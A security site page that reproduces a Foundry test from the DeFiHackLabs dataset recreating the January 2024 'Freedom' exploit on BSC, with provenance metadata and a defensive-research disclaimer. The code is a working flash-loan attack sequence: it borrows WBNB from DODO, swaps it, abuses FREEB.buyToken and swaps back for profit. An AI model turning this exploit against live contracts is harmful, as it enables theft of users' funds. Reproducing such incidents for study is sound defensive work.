Skip to content
THREATWIRE

Public reproduction file

src/test/2024-01/Freedom_exp.sol

Public reproduction file for dataset entry Freedom.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-01/Freedom_exp.sol87 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~74 $WBNB
5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
6// Attack Contract : https://bscscan.com/address/0x4512abb79f1f80830f4641caefc5ab33654a2d49
7// Vulnerable Contract : https://bscscan.com/address/0xae3ada8787245977832c6dab2d4474d3943527ab
8// Attack Tx : https://bscscan.com/tx/0x309523343cc1bb9d28b960ebf83175fac941b4a590830caccff44263d9a80ff0
9
10import "forge-std/Test.sol";
11import "./../interface.sol";
13interface IFREEWBNBPOOL {
14 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
17interface IUSDTHACKPOOL {
18 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
19 function skim(
20 address to
21 ) external;
22 function sync() external;
25interface IDPPAdvanced {
26 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
29interface IFREEB {
30 function buyToken(uint256 listingId, uint256 expectedPaymentAmount) external;
33contract ContractTest is Test {
34 event TokenBalance(string key, uint256 val);
36 IERC20 FREE = IERC20(0x8A43Eb772416f934DE3DF8F9Af627359632CB53F);
37 IFREEB FREEB = IFREEB(0xAE3ADa8787245977832c6DaB2d4474D3943527Ab);
38 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
39 IFREEWBNBPOOL Pair = IFREEWBNBPOOL(0xcd4CDAa8e96ad88D82EABDdAe6b9857c010f4Ef2);
40 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
41 IDPPAdvanced DODO = IDPPAdvanced(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
43 address FREEBProxy = 0xAE3ADa8787245977832c6DaB2d4474D3943527Ab;
45 function setUp() public {
46 vm.createSelectFork("bsc", 35_123_711 - 1);
47 vm.label(address(FREE), "FREE");
48 vm.label(address(FREEB), "FREEB");
49 }
51 function testExploit() public {
52 emit log_named_uint("Attacker WBNB balance before attack:", WBNB.balanceOf(address(this)));
53 WBNB.approve(address(Router), type(uint256).max);
54 DODO.flashLoan(500 * 1e18, 0, address(this), new bytes(1));
55 emit log_named_uint("Attacker WBNB balance before attack:", WBNB.balanceOf(address(this)));
56 }
58 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
59 require(msg.sender == address(DODO), "Fail");
60 FREE.approve(address(Router), type(uint256).max);
61 WBNBTOTOKEN();
62 FREEB.buyToken(FREEBProxy.balance, 5 * 1e18);
63 TOKENTOWBNB();
64 WBNB.transfer(address(DODO), 500 * 1e18);
65 }
67 function WBNBTOTOKEN() internal {
68 address[] memory path = new address[](2);
69 path[0] = address(WBNB);
70 path[1] = address(FREE);
71 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
72 WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
73 );
74 }
76 function TOKENTOWBNB() internal {
77 address[] memory path = new address[](2);
78 path[0] = address(FREE);
79 path[1] = address(WBNB);
80 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
81 FREE.balanceOf(address(this)), 0, path, address(this), block.timestamp
82 );
83 }
85 fallback() external payable {}
86 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Freedom” (2024-01-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x835b45d38cbdccf99e609436ff38e31ac05bc502

  • Attack Contract

    0x4512abb79f1f80830f4641caefc5ab33654a2d49

  • Vulnerable Contract

    0xae3ada8787245977832c6dab2d4474d3943527ab

  • Attack Tx

    0x309523343cc1bb9d28b960ebf83175fac941b4a590830caccff44263d9a80ff0

File record

Name
Freedom
Path
src/test/2024-01/Freedom_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
bf6bb6f8d199ee262f024037270cbb062a75ced0
Language
Solidity
Size
88 lines
Date
2024-01-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-01/Freedom_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bf6bb6f8d199ee262f024037270cbb062a75ced0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.